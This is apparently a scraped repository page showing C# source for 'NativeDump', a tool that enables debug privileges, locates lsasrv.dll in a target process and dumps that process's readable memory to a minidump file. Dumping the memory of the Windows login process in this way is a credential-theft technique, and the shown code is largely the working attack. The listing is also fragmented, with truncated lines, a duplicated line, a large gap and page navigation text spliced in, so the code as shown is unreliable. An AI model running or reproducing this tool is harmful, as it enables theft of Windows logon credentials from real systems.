

```
1      using System;
2      using System.Diagnostics;
3      using System.Collections.Generic;
4      using System.Runtime.InteropServices;
5      using static NativeDump.Win32;
6      using static NativeDump.CreateFile;
7
8      namespace NativeDump
9      {
10         internal class Program
11         {
12             static void EnableDebugPrivileges()
13             {
14                 IntPtr currentProcess = Process.GetCurrentProcess().Handle;
15                 IntPtr tokenHandle = IntPtr.Zero;
16                 try
17                 {
18                     uint ntstatus = NtOpenProcessToken(currentProcess, TOKEN_QUERY | TOKEN_
19                     if (ntstatus != 0)
20                     {
21                         Console.WriteLine("[-] Error calling NtOpenProcessToken. NTSTATUS:
22                         Environment.Exit(-1);
23                     }
24
25                     TOKEN_PRIVILEGES tokenPrivileges = new TOKEN_PRIVILEGES
26                     {
27                         PrivilegeCount = 1,
28                         Luid = new LUID { LowPart = 20, HighPart = 0 }, // LookupPrivilegeV
29                         Attributes = 0x00000002
30                     };
31
32                     ntstatus = NtAdjustPrivilegesToken(tokenHandle, false, ref tokenPrivile
33                     if (ntstatus != 0)
34                     {
35                         Console.WriteLine("[-] Error calling NtAdjustPrivilegesToken. NTSTA
36                         Environment.Exit(-1);
37                     }
38                 }
39                 finally
40                 {
41                     if (tokenHandle != IntPtr.Zero)
42                     {
43                         NtClose(tokenHandle);
44                     }
45                 }
46             }
47
48
49             public static IntPtr ReadRemoteIntPtr(IntPtr hProcess, IntPtr mem_address)
50             {
51                 byte[] buff = new byte[8];
52                 uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Lengt
53                 if (ntstatus != 0)
54                 {
55                     Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x"
56                 }
57                 long value = BitConverter.ToInt64(buff, 0);
```

```
57         long value = BitConverter.ToInt64(buff, 0),
58         return (IntPtr)value;
59     }
60
61
62     public static string ReadRemoteWStr(IntPtr hProcess, IntPtr mem_address)
63     {
64         byte[] buff = new byte[256];
65         uint ntstatus = NtReadVirtualMemory(hProcess, mem_address, buff, buff.Length);
66         if (ntstatus != 0)
67         {
68             Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTATUS: 0x" + ntstatus.ToString("X"));
69         }
70         string unicode_str = "";
71         for (int i = 0; i < buff.Length - 1; i += 2)
72         {
73             if (buff[i] == 0 && buff[i + 1] == 0) { break; }
74             unicode_str += BitConverter.ToChar(buff, i);
75         }
76         return unicode_str;
77     }
78
79
80     public unsafe static IntPtr CustomGetModuleHandle(IntPtr hProcess, String dll_name)
81     {
82         uint process_basic_information_size = 48;
83         int peb_offset = 0x8;
84         int ldr_offset = 0x18;
85         int inInitializationOrderModuleList_offset = 0x30;
86         int flink_dllbase_offset = 0x20;
87         int flink_buffer_offset = 0x50;
88         // If 32-bit process these offsets change
89         if (IntPtr.Size == 4)
90         {
91             process_basic_information_size = 24;
92             peb_offset = 0x4;
93             ldr_offset = 0x0c;
94             inInitializationOrderModuleList_offset = 0x1c;
95             flink_dllbase_offset = 0x18;
96             flink_buffer_offset = 0x30;
97         }
98
99         // Create byte array with the size of the PROCESS_BASIC_INFORMATION structure
100         byte[] pbi_byte_array = new byte[process_basic_information_size];
101
102         // Create a PROCESS_BASIC_INFORMATION structure in the byte array
103         IntPtr pbi_addr = IntPtr.Zero;
104         fixed (byte* p = pbi_byte_array)
105         {
106             pbi_addr = (IntPtr)p;
107
108             uint ntstatus = NtQueryInformationProcess(hProcess, 0x0, pbi_addr, process_basic_information_size);
109             if (ntstatus != 0)
110             {
111                 Console.WriteLine("[-] Error calling NtQueryInformationProcess. NTSTATUS: 0x" + ntstatus.ToString("X"));
112             }
113             Console.WriteLine("[+] Process_Basic_Information Address: \t\t0x" + pbi_addr.ToString("X"));
114         }
115
116         // Get PEB Base Address
117         IntPtr peb_pointer = pbi_addr + peb_offset;
118         Console.WriteLine("[+] PEB Address Pointer: \t\t\t0x" + peb_pointer.ToString("X"));
```

204

205

206

while ((long)mem\_address < proc\_max\_address\_1)

{

Files

01d8cd1

Go to file

NativeDump

Properties

App.config

CreateFile.cs

NativeDump.csproj

Program.cs

Win32.cs

NativeDump.sln

README.md

```
207 // Populate MEMORY_BASIC_INFORMATION struct
208 MEMORY_BASIC_INFORMATION mbi = new MEMORY_BASIC_INFORMATION();
209 ntstatus = NtQueryVirtualMemory(processHandle, (IntPtr)mem_address, Mem
210 if (ntstatus != 0)
211 {
212     Console.WriteLine("[-] Error calling NtQueryVirtualMemory. NTSTATUS
213 }
214
215 // If readable and committed --> Write memory region to a file
216 if (mbi.Protect != PAGE_NOACCESS && mbi.State == MEM_COMMIT)
217 {
218     // Add to Memory64Info list
219     Memory64Info mem64info = new Memory64Info();
220     mem64info.Address = mbi.BaseAddress;
221     mem64info.Size = mbi.RegionSize;
222     mem64info_List.Add(mem64info);
223
224     // Dump memory
225     byte[] buffer = new byte[(int)mbi.RegionSize];
226     ntstatus = NtReadVirtualMemory(processHandle, mbi.BaseAddress, buff
227     if (ntstatus != 0 && ntstatus != 0x8000000D)
228     {
229         Console.WriteLine("[-] Error calling NtReadVirtualMemory. NTSTA
230     }
231     byte[] new_bytearray = new byte[memory_regions.Length + buffer.Leng
232     Buffer.BlockCopy(memory_regions, 0, new_bytearray, 0, memory_region
233     Buffer.BlockCopy(buffer, 0, new_bytearray, memory_regions.Length, b
234     memory_regions = new_bytearray;
235
236     // Calculate size of lsasrv.dll region
237     if (mbi.BaseAddress == lsasrvdll_address)
238     {
239         bool_test = true;
240     }
241
242     {
243         if ((int)mbi.RegionSize == 0x1000 && mbi.BaseAddress != lsasrvd
244         {
245             bool_test = false;
246         }
247         else
248         {
249             lsasrvdll_size += (int)mbi.RegionSize;
250         }
251     }
252 }
253 // Next memory region
254 mem_address = (IntPtr)((ulong)mem_address + (ulong)mbi.RegionSize);
255 }
256
257 // Get file name
258 string dumpfile = "proc_" + processPID + ".dmp";
259 if (args.Length > 0)
260 {
261     dumpfile = args[0];
262 }
263
264 // Generate Minidump file
265 Console.WriteLine("[+] Lsasrv.dll Address:\t\t\t\t0x" + lsasrvdll_address.T
266 Console.WriteLine("[+] Lsasrv.dll Size: \t\t\t\t0x" + lsasrvdll_size.ToSt
267 CreateMinidump(lsasrvdll_address, lsasrvdll_size, mem64info_List, memory_re
268
269 // Close process handle
270 ntstatus = NtClose(processHandle);
271 if (ntstatus != 0)
272 {
273     Console.WriteLine("[-] Error calling NtClose. NTSTATUS: 0x" + ntstatus.
274 }
275 }
276 }
277 }
```